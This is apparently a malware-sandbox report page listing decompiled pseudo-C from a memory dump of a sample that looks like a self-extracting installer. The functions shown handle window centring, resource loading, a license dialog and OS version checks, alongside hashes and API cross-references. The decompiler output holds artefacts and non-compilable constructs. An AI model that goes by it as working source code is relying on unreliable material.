Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID: 892
API String ID: 3949799724-325759232
Opcode ID: 6d3cc126628ee8586a9a6b73294fd961e740daf1dd87a547cc4eb805531bf895
Instruction ID: 4fe09b110648122b3a19516c3b58b8cbdbf4c815ab8e81ee816af1d46a563b3f
Opcode Fuzzy Hash: 6d3cc126628ee8586a9a6b73294fd961e740daf1dd87a547cc4eb805531bf895
Instruction Fuzzy Hash: 17512B31D00229EFCB22DF98EC85AAEBBB9FF48700F15412AE905E7611DB319941DB91

Uniqueness

Uniqueness Score: -1.00%

Function 003243D0 Relevance: 10.6, APIs: 7, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E003243D0(struct HWND__* __ecx, struct HWND__* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct HWND__* _v44;
				intOrPtr _v48;
				int _v52;
				intOrPtr _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t29;
				void* _t53;
				intOrPtr _t56;
				int _t59;
				struct HWND__* _t63;
				struct HWND__* _t67;
				struct HWND__* _t68;
				struct HDC__* _t69;
				int _t72;
				signed int _t74;

				_t63 = __edx;
				_t29 =  *0x328004; // 0x2c4b51c8
				_v8 = _t29 ^ _t74;
				_t68 = __edx;
				_v44 = __ecx;
				GetWindowRect(__ecx,  &_v40);
				_t53 = _v40.bottom - _v40.top;
				_v48 = _v40.right - _v40.left;
				GetWindowRect(_t68,  &_v24);
				_v56 = _v24.bottom - _v24.top;
				_t69 = GetDC(_v44);
				_v52 = GetDeviceCaps(_t69, 8);
				_v60 = GetDeviceCaps(_t69, 0xa);
				ReleaseDC(_v44, _t69);
				_t56 = _v48;
				asm("cdq");
				_t72 = (_v24.right - _v24.left - _t56 - _t63 >> 1) + _v24.left;
				_t67 = 0;
				if(_t72 >= 0) {
					_t63 = _v52;
					if(_t72 + _t56 > _t63) {
						_t72 = _t63 - _t56;
					}
				} else {
					_t72 = _t67;
				}
				asm("cdq");
				_t59 = (_v56 - _t53 - _t63 >> 1) + _v24.top;
				if(_t59 >= 0) {
					_t63 = _v60;
					if(_t59 + _t53 > _t63) {
						_t59 = _t63 - _t53;
					}
				} else {
					_t59 = _t67;
				}
				return E00326CE0(SetWindowPos(_v44, _t67, _t72, _t59, _t67, _t67, 5), _t53, _v8 ^ _t74, _t63, _t67, _t72);
			}

0x003243d0
0x003243d8
0x003243df
0x003243e6
0x003243ec
0x003243f1
0x00324400
0x00324403
0x0032440b
0x00324420
0x00324429
0x00324437
0x00324444
0x00324447
0x0032444d
0x00324454
0x0032445b
0x00324460
0x00324461
0x00324467
0x0032446f
0x00324473
0x00324473
0x00324463
0x00324463
0x00324463
0x0032447a
0x00324481
0x00324484
0x0032448a
0x00324492
0x00324496
0x00324496
0x00324486
0x00324486
0x00324486
0x003244b8

APIs

GetWindowRect.USER32(?,?), ref: 003243F1
GetWindowRect.USER32(00000000,?), ref: 0032440B
GetDC.USER32(?), ref: 00324423
GetDeviceCaps.GDI32(00000000,00000008), ref: 0032442E
GetDeviceCaps.GDI32(00000000,0000000A), ref: 0032443A
ReleaseDC.USER32(?,00000000), ref: 00324447
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005,?,00000001), ref: 003244A2

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Window$CapsDeviceRect$Release
String ID:
API String ID: 2212493051-0
Opcode ID: a79d700a6e61cc9d2b9bfc43e1f1415610f4482d78ed5d4a4a07df37b6b04415
Instruction ID: 29bb91f11da5985771b48fa29d6f50d1e779896e19907c5d5815cf5e99392a98
Opcode Fuzzy Hash: a79d700a6e61cc9d2b9bfc43e1f1415610f4482d78ed5d4a4a07df37b6b04415
Instruction Fuzzy Hash: E5315E72E00519AFCB15DFB8ED899EEBBB9EB89310F154169F805F3240DA30AC05CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00326298 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E00326298(intOrPtr __ecx, intOrPtr* __edx) {
				signed int _v8;
				char _v28;
				intOrPtr _v32;
				struct HINSTANCE__* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				struct HRSRC__* _t21;
				intOrPtr _t26;
				void* _t30;
				struct HINSTANCE__* _t36;
				intOrPtr* _t40;
				void* _t41;
				intOrPtr* _t44;
				intOrPtr* _t45;
				void* _t47;
				signed int _t50;
				struct HINSTANCE__* _t51;

				_t44 = __edx;
				_t16 =  *0x328004; // 0x2c4b51c8
				_v8 = _t16 ^ _t50;
				_t46 = 0;
				_v32 = __ecx;
				_v36 = 0;
				_t36 = 1;
				E0032171E( &_v28, 0x14, "UPDFILE%lu", 0);
				while(1) {
					_t51 = _t51 + 0x10;
					_t21 = FindResourceA(_t46,  &_v28, 0xa);
					if(_t21 == 0) {
						break;
					}
					_t45 = LockResource(LoadResource(_t46, _t21));
					if(_t45 == 0) {
						 *0x329124 = 0x80070714;
						_t36 = _t46;
					} else {
						_t5 = _t45 + 8; // 0x8
						_t44 = _t5;
						_t40 = _t44;
						_t6 = _t40 + 1; // 0x9
						_t47 = _t6;
						do {
							_t26 =  *_t40;
							_t40 = _t40 + 1;
						} while (_t26 != 0);
						_t41 = _t40 - _t47;
						_t46 = _t51;
						_t7 = _t41 + 1; // 0xa
						 *0x32a288( *_t45,  *((intOrPtr*)(_t45 + 4)), _t44, _t7 + _t44);
						_t30 = _v32();
						if(_t51 != _t51) {
							asm("int 0x29");
						}
						_push(_t45);
						if(_t30 == 0) {
							_t36 = 0;
							FreeResource(??);
						} else {
							FreeResource();
							_v36 = _v36 + 1;
							E0032171E( &_v28, 0x14, "UPDFILE%lu", _v36 + 1);
							_t46 = 0;
							continue;
						}
					}
					L12:
					return E00326CE0(_t36, _t36, _v8 ^ _t50, _t44, _t45, _t46);
				}
				goto L12;
			}

0x00326298
0x003262a0
0x003262a7
0x003262ad
0x003262af
0x003262bb
0x003262c3
0x003262c4
0x0032633b
0x0032633b
0x00326345
0x0032634d
0x00000000
0x00000000
0x003262da
0x003262de
0x0032635f
0x00326369
0x003262e0
0x003262e0
0x003262e0
0x003262e3
0x003262e5
0x003262e5
0x003262e8
0x003262e8
0x003262ea
0x003262eb
0x003262ef
0x003262f1
0x003262f3
0x00326302
0x00326308
0x0032630d
0x00326314
0x00326314
0x00326316
0x00326319
0x00326355
0x00326357
0x0032631b
0x0032631b
0x00326331
0x00326334
0x00326339
0x00000000
0x00326339
0x00326319
0x0032636b
0x0032637d
0x0032637d
0x00000000

APIs

Part of subcall function 0032171E: _vsnprintf.MSVCRT ref: 00321750

LoadResource.KERNEL32(00000000,00000000,?,?,00000002,00000000,?,003251CA,00000004,00000024,00322F71,?,00000002,00000000), ref: 003262CD
LockResource.KERNEL32(00000000,?,?,00000002,00000000,?,003251CA,00000004,00000024,00322F71,?,00000002,00000000), ref: 003262D4
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003251CA,00000004,00000024,00322F71,?,00000002,00000000), ref: 0032631B
FindResourceA.KERNEL32(00000000,00000004,0000000A), ref: 00326345
FreeResource.KERNEL32(00000000,?,?,00000002,00000000,?,003251CA,00000004,00000024,00322F71,?,00000002,00000000), ref: 00326357

Strings

UPDFILE%lu, xrefs: 003262B3, 00326329

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 854a7312a61c14b9b22c3838fb28d8bb0108003bed7a7cddab438de41700119a
Instruction ID: efc50f25052dbcbff8695f421c7cf764a34d35d40643f76cd4bae4c0bf616ff2
Opcode Fuzzy Hash: 854a7312a61c14b9b22c3838fb28d8bb0108003bed7a7cddab438de41700119a
Instruction Fuzzy Hash: A221F675A00229ABDB22DF64AC469FE7B7CFF48710F114119FA02A3251DB759D028BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00323A3F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 73
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00323A3F(void* __eflags) {
				void* _t3;
				void* _t9;
				CHAR* _t16;

				_t16 = "LICENSE";
				_t1 = E0032468F(_t16, 0, 0) + 1; // 0x1
				_t3 = LocalAlloc(0x40, _t1);
				 *0x328d4c = _t3;
				if(_t3 != 0) {
					_t19 = _t16;
					if(E0032468F(_t16, _t3, _t28) != 0) {
						if(lstrcmpA( *0x328d4c, "<None>") == 0) {
							LocalFree( *0x328d4c);
							L9:
							 *0x329124 = 0;
							return 1;
						}
						_t9 = E00326517(_t19, 0x7d1, 0, E00323100, 0, 0);
						LocalFree( *0x328d4c);
						if(_t9 != 0) {
							goto L9;
						}
						 *0x329124 = 0x800704c7;
						L2:
						return 0;
					}
					E003244B9(0, 0x4b1, 0, 0, 0x10, 0);
					LocalFree( *0x328d4c);
					 *0x329124 = 0x80070714;
					goto L2;
				}
				E003244B9(0, 0x4b5, 0, 0, 0x10, 0);
				 *0x329124 = E00326285();
				goto L2;
			}

0x00323a46
0x00323a57
0x00323a5d
0x00323a63
0x00323a6a
0x00323a91
0x00323a9a
0x00323ad8
0x00323b13
0x00323b19
0x00323b1b
0x00000000
0x00323b21
0x00323ae7
0x00323af4
0x00323afc
0x00000000
0x00000000
0x00323afe
0x00323a87
0x00000000
0x00323a87
0x00323aa8
0x00323ab3
0x00323ab9
0x00000000
0x00323ab9
0x00323a78
0x00323a82
0x00000000

APIs

Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246A0
Part of subcall function 0032468F: SizeofResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246A9
Part of subcall function 0032468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 003246C3
Part of subcall function 0032468F: LoadResource.KERNEL32(00000000,00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246CC
Part of subcall function 0032468F: LockResource.KERNEL32(00000000,?,00322D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 003246D3
Part of subcall function 0032468F: memcpy_s.MSVCRT ref: 003246E5
Part of subcall function 0032468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 003246EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00322F64,?,00000002,00000000), ref: 00323A5D
LocalFree.KERNEL32(00000000,00000000,00000010,00000000,00000000), ref: 00323AB3

Part of subcall function 003244B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00324518
Part of subcall function 003244B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00324554

Part of subcall function 00326285: GetLastError.KERNEL32(00325BBC), ref: 00326285

lstrcmpA.KERNEL32(<None>,00000000), ref: 00323AD0
LocalFree.KERNEL32 ref: 00323B13

Part of subcall function 00326517: FindResourceA.KERNEL32(00320000,000007D6,00000005), ref: 0032652A
Part of subcall function 00326517: LoadResource.KERNEL32(00320000,00000000,?,?,00322EE8,00000000,003219E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00326538
Part of subcall function 00326517: DialogBoxIndirectParamA.USER32(00320000,00000000,00000547,003219E0,00000000), ref: 00326557
Part of subcall function 00326517: FreeResource.KERNEL32(00000000,?,?,00322EE8,00000000,003219E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00326560

LocalFree.KERNEL32(00000000,00323100,00000000,00000000), ref: 00323AF4

Strings

LICENSE, xrefs: 00323A46
<None>, xrefs: 00323AC5

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 24096ab5b9a79449a9c069a3dadb1c5ef0198c3767381c217049065cbdfd0fa9
Instruction ID: e8bc676467f8779e2f32114533bf980095832ffd1b5553f372b38e84ba54bb1e
Opcode Fuzzy Hash: 24096ab5b9a79449a9c069a3dadb1c5ef0198c3767381c217049065cbdfd0fa9
Instruction Fuzzy Hash: 2E11D630601221ABD733AF33BC0AF177ABDDBD5700F10483EB946DA1A1DA7998168660

Uniqueness

Uniqueness Score: -1.00%

Function 003224E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E003224E0(void* __ebx) {
				signed int _v8;
				char _v268;
				void* __edi;
				void* __esi;
				signed int _t7;
				void* _t20;
				long _t26;
				signed int _t27;

				_t20 = __ebx;
				_t7 =  *0x328004; // 0x2c4b51c8
				_v8 = _t7 ^ _t27;
				_t25 = 0x104;
				_t26 = 0;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					E0032658A( &_v268, 0x104, "wininit.ini");
					WritePrivateProfileStringA(0, 0, 0,  &_v268);
					_t25 = _lopen( &_v268, 0x40);
					if(_t25 != 0xffffffff) {
						_t26 = _llseek(_t25, 0, 2);
						_lclose(_t25);
					}
				}
				return E00326CE0(_t26, _t20, _v8 ^ _t27, 0x104, _t25, _t26);
			}

0x003224e0
0x003224eb
0x003224f2
0x003224f7
0x00322504
0x0032250e
0x0032251d
0x0032252c
0x00322541
0x00322546
0x00322553
0x00322555
0x00322555
0x00322546
0x0032256c

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,00000000,00000000), ref: 00322506
WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,?), ref: 0032252C
_lopen.KERNEL32 ref: 0032253B
_llseek.KERNEL32(00000000,00000000,00000002), ref: 0032254C
_lclose.KERNEL32(00000000), ref: 00322555

Strings

wininit.ini, xrefs: 00322510

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: DirectoryPrivateProfileStringWindowsWrite_lclose_llseek_lopen
String ID: wininit.ini
API String ID: 3273605193-4206010578
Opcode ID: c9f94e86b525a23ac877895a9d6df98488c69aedbabb3ec0ab94768fb45cd4f1
Instruction ID: cb58c1102e2b50b43875d444c9cb63ae7fbb051cb83bc50df0c395ff4f2336e0
Opcode Fuzzy Hash: c9f94e86b525a23ac877895a9d6df98488c69aedbabb3ec0ab94768fb45cd4f1
Instruction Fuzzy Hash: 9501B5326015286BC7319B65AC0DEDFBB7CEF46760F004159FA49D3190DE748E46CA91

Uniqueness

Uniqueness Score: -1.00%

Function 003236EE Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 243
windowCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E003236EE(CHAR* __ecx) {
				signed int _v8;
				char _v268;
				struct _OSVERSIONINFOA _v416;
				signed int _v420;
				signed int _v424;
				CHAR* _v428;
				CHAR* _v432;
				signed int _v436;
				CHAR* _v440;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t72;
				CHAR* _t77;
				CHAR* _t91;
				CHAR* _t94;
				int _t97;
				CHAR* _t98;
				signed char _t99;
				CHAR* _t104;
				signed short _t107;
				signed int _t109;
				short _t113;
				void* _t114;
				signed char _t115;
				short _t119;
				CHAR* _t123;
				CHAR* _t124;
				CHAR* _t129;
				signed int _t131;
				signed int _t132;
				CHAR* _t135;
				CHAR* _t138;
				signed int _t139;

				_t72 =  *0x328004; // 0x2c4b51c8
				_v8 = _t72 ^ _t139;
				_v416.dwOSVersionInfoSize = 0x94;
				_t115 = __ecx;
				_t135 = 0;
				_v432 = __ecx;
				_t138 = 0;
				if(GetVersionExA( &_v416) != 0) {
					_t133 = _v416.dwMajorVersion;
					_t119 = 2;
					_t77 = _v416.dwPlatformId - 1;
					__eflags = _t77;
					if(_t77 == 0) {
						_t119 = 0;
						__eflags = 1;
						 *0x328184 = 1;
						 *0x328180 = 1;
						L13:
						 *0x329a40 = _t119;
						L14:
						__eflags =  *0x328a34 - _t138; // 0x0
						if(__eflags != 0) {
							goto L66;
						}
						__eflags = _t115;
						if(_t115 == 0) {
							goto L66;
						}
						_v428 = _t135;
						__eflags = _t119;
						_t115 = _t115 + ((0 | _t119 != 0x00000000) - 0x00000001 & 0x0000003c) + 4;
						_t11 =  &_v420;
						 *_t11 = _v420 & _t138;
						__eflags =  *_t11;
						_v440 = _t115;
						do {
							_v424 = _t135 * 0x18;
							_v436 = E00322A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_t135 * 0x18 + _t115)),  *((intOrPtr*)(_t135 * 0x18 + _t115 + 4)));
							_t91 = E00322A89(_v416.dwMajorVersion, _v416.dwMinorVersion,  *((intOrPtr*)(_v424 + _t115 + 0xc)),  *((intOrPtr*)(_v424 + _t115 + 0x10)));
							_t123 = _v436;
							_t133 = 0x54d;
							__eflags = _t123;
							if(_t123 < 0) {
								L32:
								__eflags = _v420 - 1;
								if(_v420 == 1) {
									_t138 = 0x54c;
									L36:
									__eflags = _t138;
									if(_t138 != 0) {
										L40:
										__eflags = _t138 - _t133;
										if(_t138 == _t133) {
											L30:
											_v420 = _v420 & 0x00000000;
											_t115 = 0;
											_v436 = _v436 & 0x00000000;
											__eflags = _t138 - _t133;
											_t133 = _v432;
											if(__eflags != 0) {
												_t124 = _v440;
											} else {
												_t124 = _t133[0x80] + 0x84 + _t135 * 0x3c + _t133;
												_v420 =  &_v268;
											}
											__eflags = _t124;
											if(_t124 == 0) {
												_t135 = _v436;
											} else {
												_t99 = _t124[0x30];
												_t135 = _t124[0x34] + 0x84 + _t133;
												__eflags = _t99 & 0x00000001;
												if((_t99 & 0x00000001) == 0) {
													asm("sbb ebx, ebx");
													_t115 =  ~(_t99 & 2) & 0x00000101;
												} else {
													_t115 = 0x104;
												}
											}
											__eflags =  *0x328a38 & 0x00000001;
											if(( *0x328a38 & 0x00000001) != 0) {
												L64:
												_push(0);
												_push(0x30);
												_push(_v420);
												_push("cent");
												goto L65;
											} else {
												__eflags = _t135;
												if(_t135 == 0) {
													goto L64;
												}
												__eflags =  *_t135;
												if( *_t135 == 0) {
													goto L64;
												}
												MessageBeep(0);
												_t94 = E0032681F(_t115);
												__eflags = _t94;
												if(_t94 == 0) {
													L57:
													0x180030 = 0x30;
													L58:
													_t97 = MessageBoxA(0, _t135, "cent", 0x00180030 | _t115);
													__eflags = _t115 & 0x00000004;
													if((_t115 & 0x00000004) == 0) {
														__eflags = _t115 & 0x00000001;
														if((_t115 & 0x00000001) == 0) {
															goto L66;
														}
														__eflags = _t97 - 1;
														L62:
														if(__eflags == 0) {
															_t138 = 0;
														}
														goto L66;
													}
													__eflags = _t97 - 6;
													goto L62;
												}
												_t98 = E003267C9(_t124, _t124);
												__eflags = _t98;
												if(_t98 == 0) {
													goto L57;
												}
												goto L58;
											}
										}
										__eflags = _t138 - 0x54c;
										if(_t138 == 0x54c) {
											goto L30;
										}
										__eflags = _t138;
										if(_t138 == 0) {
											goto L66;
										}
										_t135 = 0;
										__eflags = 0;
										goto L44;
									}
									L37:
									_t129 = _v432;
									__eflags = _t129[0x7c];
									if(_t129[0x7c] == 0) {
										goto L66;
									}
									_t133 =  &_v268;
									_t104 = E003228E8(_t129,  &_v268, _t129,  &_v428);
									__eflags = _t104;
									if(_t104 != 0) {
										goto L66;
									}
									_t135 = _v428;
									_t133 = 0x54d;
									_t138 = 0x54d;
									goto L40;
								}
								goto L33;
							}
							__eflags = _t91;
							if(_t91 > 0) {
								goto L32;
							}
							__eflags = _t123;
							if(_t123 != 0) {
								__eflags = _t91;
								if(_t91 != 0) {
									goto L37;
								}
								__eflags = (_v416.dwBuildNumber & 0x0000ffff) -  *((intOrPtr*)(_v424 + _t115 + 0x14));
								L27:
								if(__eflags <= 0) {
									goto L37;
								}
								L28:
								__eflags = _t135;
								if(_t135 == 0) {
									goto L33;
								}
								_t138 = 0x54c;
								goto L30;
							}
							__eflags = _t91;
							_t107 = _v416.dwBuildNumber;
							if(_t91 != 0) {
								_t131 = _v424;
								__eflags = (_t107 & 0x0000ffff) -  *((intOrPtr*)(_t131 + _t115 + 8));
								if((_t107 & 0x0000ffff) >=  *((intOrPtr*)(_t131 + _t115 + 8))) {
									goto L37;
								}
								goto L28;
							}
							_t132 = _t107 & 0x0000ffff;
							_t109 = _v424;
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 8));
							if(_t132 <  *((intOrPtr*)(_t109 + _t115 + 8))) {
								goto L28;
							}
							__eflags = _t132 -  *((intOrPtr*)(_t109 + _t115 + 0x14));
							goto L27;
							L33:
							_t135 =  &(_t135[1]);
							_v428 = _t135;
							_v420 = _t135;
							__eflags = _t135 - 2;
						} while (_t135 < 2);
						goto L36;
					}
					__eflags = _t77 == 1;
					if(_t77 == 1) {
						 *0x329a40 = _t119;
						 *0x328184 = 1;
						 *0x328180 = 1;
						__eflags = _t133 - 3;
						if(_t133 > 3) {
							__eflags = _t133 - 5;
							if(_t133 < 5) {
								goto L14;
							}
							_t113 = 3;
							_t119 = _t113;
							goto L13;
						}
						_t119 = 1;
						_t114 = 3;
						 *0x329a40 = 1;
						__eflags = _t133 - _t114;
						if(__eflags < 0) {
							L9:
							 *0x328184 = _t135;
							 *0x328180 = _t135;
							goto L14;
						}
						if(__eflags != 0) {
							goto L14;
						}
						__eflags = _v416.dwMinorVersion - 0x33;
						if(_v416.dwMinorVersion >= 0x33) {
							goto L14;
						}
						goto L9;
					}
					_t138 = 0x4ca;
					goto L44;
				} else {
					_t138 = 0x4b4;
					L44:
					_push(_t135);
					_push(0x10);
					_push(_t135);
					_push(_t135);
					L65:
					_t133 = _t138;
					E003244B9(0, _t138);
					L66:
					return E00326CE0(0 | _t138 == 0x00000000, _t115, _v8 ^ _t139, _t133, _t135, _t138);
				}
			}

0x003236f9
0x00323700
0x0032370c
0x00323716
0x00323718
0x0032371b
0x00323721
0x0032372b
0x0032373d
0x00323745
0x00323746
0x00323746
0x00323749
0x003237ab
0x003237ad
0x003237ae
0x003237b3
0x003237b8
0x003237b8
0x003237bf
0x003237bf
0x003237c5
0x00000000
0x00000000
0x003237cb
0x003237cd
0x00000000
0x00000000
0x003237d5
0x003237db
0x003237e8
0x003237ea
0x003237ea
0x003237ea
0x003237f0
0x003237f6
0x00323805
0x00323817
0x0032382b
0x00323830
0x00323836
0x0032383b
0x0032383d
0x003238eb
0x003238eb
0x003238f2
0x0032390c
0x00323911
0x00323911
0x00323913
0x0032394d
0x0032394d
0x0032394f
0x003238a9
0x003238a9
0x003238b0
0x003238b2
0x003238b9
0x003238bb
0x003238c1
0x00323975
0x003238c7
0x003238de
0x003238e0
0x003238e0
0x0032397b
0x0032397d
0x003239a9
0x0032397f
0x00323982
0x0032398b
0x0032398d
0x0032398f
0x0032399f
0x003239a1
0x00323991
0x00323991
0x00323991
0x0032398f
0x003239af
0x003239b6
0x00323a0f
0x00323a0f
0x00323a11
0x00323a13
0x00323a19
0x00000000
0x003239b8
0x003239b8
0x003239ba
0x00000000
0x00000000
0x003239bc
0x003239bf
0x00000000
0x00000000
0x003239c3
0x003239c9
0x003239ce
0x003239d0
0x003239e3
0x003239e5
0x003239e6
0x003239f1
0x003239f7
0x003239fa
0x00323a01
0x00323a04
0x00000000
0x00000000
0x00323a06
0x00323a09
0x00323a09
0x00323a0b
0x00323a0b
0x00000000
0x00323a09
0x003239fc
0x00000000
0x003239fc
0x003239d3
0x003239d8
0x003239da
0x00000000
0x00000000
0x00000000
0x003239dc
0x003239b6
0x00323955
0x0032395b
0x00000000
0x00000000
0x00323961
0x00323963
0x00000000
0x00000000
0x00323969
0x00323969
0x00000000
0x00323969
0x00323915
0x00323915
0x0032391b
0x0032391f
0x00000000
0x00000000
0x0032392d
0x00323933
0x00323938
0x0032393a
0x00000000
0x00000000
0x00323940
0x00323946
0x0032394b
0x00000000
0x0032394b
0x00000000
0x003238f2
0x00323843
0x00323845
0x00000000
0x00000000
0x0032384b
0x0032384d
0x00323883
0x00323885
0x00000000
0x00000000
0x0032389a
0x0032389e
0x0032389e
0x00000000
0x00000000
0x003238a0
0x003238a0
0x003238a2
0x00000000
0x00000000
0x003238a4
0x00000000
0x003238a4
0x0032384f
0x00323851
0x00323857
0x0032386e
0x00323877
0x0032387b
0x00000000
0x00000000
0x00000000
0x00323881
0x00323859
0x0032385c
0x00323862
0x00323866
0x00000000
0x00000000
0x00323868
0x00000000
0x003238f4
0x003238f4
0x003238f5
0x003238fb
0x00323901
0x00323901
0x00000000
0x0032390a
0x0032374b
0x0032374e
0x0032375c
0x00323764
0x00323769
0x0032376e
0x00323771
0x0032379c
0x0032379f
0x00000000
0x00000000
0x003237a3
0x003237a4
0x00000000
0x003237a4
0x00323773
0x00323777
0x00323778
0x0032377f
0x00323781
0x0032378e
0x0032378e
0x00323794
0x00000000
0x00323794
0x00323783
0x00000000
0x00000000
0x00323785
0x0032378c
0x00000000
0x00000000
0x00000000
0x0032378c
0x00323750
0x00000000
0x0032372d
0x0032372d
0x0032396b
0x0032396b
0x0032396c
0x0032396e
0x0032396f
0x00323a1e
0x00323a1e
0x00323a22
0x00323a27
0x00323a3e
0x00323a3e

APIs

GetVersionExA.KERNEL32(?,00000000,?,?), ref: 00323723
MessageBeep.USER32(00000000), ref: 003239C3
MessageBoxA.USER32(00000000,00000000,cent,00000030), ref: 003239F1

Strings

3, xrefs: 00323785
cent, xrefs: 003239E9, 00323A19

Memory Dump Source

Source File: 00000001.00000002.346665107.0000000000321000.00000020.00000001.01000000.00000004.sdmp, Offset: 00320000, based on PE: true

Associated: 00000001.00000002.346646404.0000000000320000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346683392.0000000000328000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.346696832.000000000032C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_320000_sEm51bM.jbxd

Similarity

API ID: Message$BeepVersion
String ID: 3$cent
API String ID: 2519184315-3438608206
Opcode ID: 804bac39fda06825ed402a6b055cf84ff268488e32420b2e4d031df9c5a149de
Instruction ID: ce740d481c11cfb5f04d1e5a62f6a5d2f0e766c228c91a64e5a7b3fba3351121
Opcode Fuzzy Hash: 804bac39fda06825ed402a6b055cf84ff268488e32420b2e4d031df9c5a149de
Instruction Fuzzy Hash: 1591F371A012349BEB378B18EC81BEA77B5EB45704F1640A9D8899B281DB788F81CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00326517 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 78%

